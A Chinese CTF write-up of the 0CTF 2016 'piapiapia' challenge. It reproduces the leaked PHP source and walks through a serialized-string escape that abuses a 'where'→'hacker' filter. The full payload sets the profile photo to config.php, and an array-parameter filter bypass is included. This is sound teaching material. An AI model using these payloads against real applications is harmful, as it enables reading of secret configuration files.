0CTF piapiapia
源码泄露
第一步是用扫描工具扫描到www.zip文件,获得网站源码。
看到网站目录结构。打开config.php发现有flag,所以我们的目的就是如何读取这个config.php
随便注册个号进去
这里就是注入点,之后会提到。
读源码
用代码审计工具发现几个要点,我们进去看看。
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
这里就是重点代码了,以及核心处理代码class.php
<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) {$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);}public function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);
else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?>
在这个地方有文件读取的地方,如果$profile[‘photo’]的值为config.php那么就可以读取到flag。
在过滤的时候如果遇到where会换成hacker。这里是5个字符变成了6个字符,这里就可以逃逸了。之前做过字符变少的情况,这次字符变多的情况是不太一样的。这里就要利用到序列化的拼接+伪造,对nickname参数攻击,比如该序列化字符串:
a:3:{s:4:"dddd";s:6:"ddddhm";}
我们在dddd的地方输入 dddd";s:10:“buhaobuhao”;} 就变成了:
a:3:{s:25:"dddd";s:10:"buhaobuhao";}";s:6:"ddddhm";}
但是相应的,dddd前面的字符串长度也变了,变成25了,所以这里会报错。我们就要想办法把dddd变成25位长度,还差21位。
那么我们dddd这这个位置的字符变长21个不就好了吗?
这里对应这道题是把21个where换成hacker就行了。
但是这道题要换34个。
nickname[]=where";}s:5:"photo";s:10:"config.php";}
注意有34个where,这里就可以让后面34个字符逃逸出来,让photo等于config.php,然后让原本的photo作废。
因为对nickname有一次过滤
这个过滤可以用数组绕过。
这里有张标可供参考
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
因为是数组,所以最终payload前多一个}
这里举个例子
这里可以看到数组和变量序列化的结果是不一样的。
最终payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
bp抓包发一下进去得到base64解码得到flag。
详细参考https://blog.csdn.net/qq_43622442/article/details/105751356
0CTF piapiapia相关推荐
- iscc 2021wp
目录 MISC 变异的SM2 区块链 Hack the Victim 海市蜃楼2 小明的表情包 李华的红包 Retrieve_the_passcode 海市蜃楼1 美人计 检查一下 小明的宠物兔 We ...
- PHP反序列化由浅入深,细说php反序列化字符逃逸
原标题:细说php反序列化字符逃逸 11/5 文章共计4381个词 预计阅读10分钟 前言 php反序列化的字符逃逸算是比较难理解的一个知识点,在最近的好几场比赛中都出现了相关的题,于是下定决心彻底理 ...
- ✿ISCC2021✿题目以及部分wp
文章目录 ISCC 部分web.杂项wp WEB ISCC客服一号冲冲冲(一) 这是啥 Web01 ISCC客服一号冲冲冲(二) 登录 misc 李华的红包 Retrieve_the_passcode ...
- [0CTF 2016]piapiapia WP(详细)
[0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...
- BUCTF[0CTF 2016]piapiapia
[0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...
- BUU [0CTF 2016]piapiapia
BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...
- [0CTF 2016]piapiapia php反序列化字符串逃逸
一.php反序列化字符串逃逸 <?phpclass user{public $user = 'admin';public $pass = 'passwd'; }$a = new user(); ...
- [0CTF 2016] piapiapia
piapiapia 猜测:SQL注入.弱口令,顺便扫一下目录 SQL注入失败,弱口令和目录扫描没有测试(过快扫描网站,返回429),服务器还是挺好的,从网上得知/www.zip 测试过后,发现 ind ...
- BUUCTF-WEB 【0CTF 2016】piapiapia 1
考点:php反序列化字符长度逃逸 打开题目 一般看到登录框,就以为是sql注入题,这道题不是. dirsearch扫网站目录 python3 dirsearch.py -u "http:// ...
- [0CTF 2016]piapiapia -php序列化溢出
题目分析 上来是一个登录页面:尝试注入无效: 然后扫后台:扫到源码www.zip 发现有注册页,注册登陆后可以填写自己的信息以及上传头像,走过一遍流程之后发现无法SSI也无法上传图片马: 源码分析 u ...
最新文章
- Android 动画的插值器 (Interpolator属性)
- 以太网实习_一位工科男在拿到华为实习生offer后的面经干货
- Linux stat命令总结
- WinDBg定位asp.net mvc项目异常崩溃源码位置
- 怎样删去csv中重复行_4个锦囊,祝你快速删去Excel中的重复数据
- 数据库执行自定义函数报错问题记录
- 编程实现strcpy函数
- 实现三级导航demo
- css样式,鼠标移动上去变成禁用、小手等样式。
- CVPR 历年 Best paper(1988-2020)汇总,持续更新~
- 计算机触摸板设置方法,笔记本的触摸板怎么用_笔记本电脑触摸板的使用教程-win7之家...
- nuvoton ADC采集
- 【2021-01-05】JS逆向之B站模拟登入(含极验点选)
- 风拂树,月下杯影为伊留...
- HTML和CSS基础
- 利用Java处理图片,更换背景
- 计算机科学与技术中文核心期刊
- 数理统计_正态分布经典例题
- 一本正经需求洽谈老黄历 No.136
- 找不到认证服务器 是否网卡选择错误,锐捷上网认证常见问题及解决办法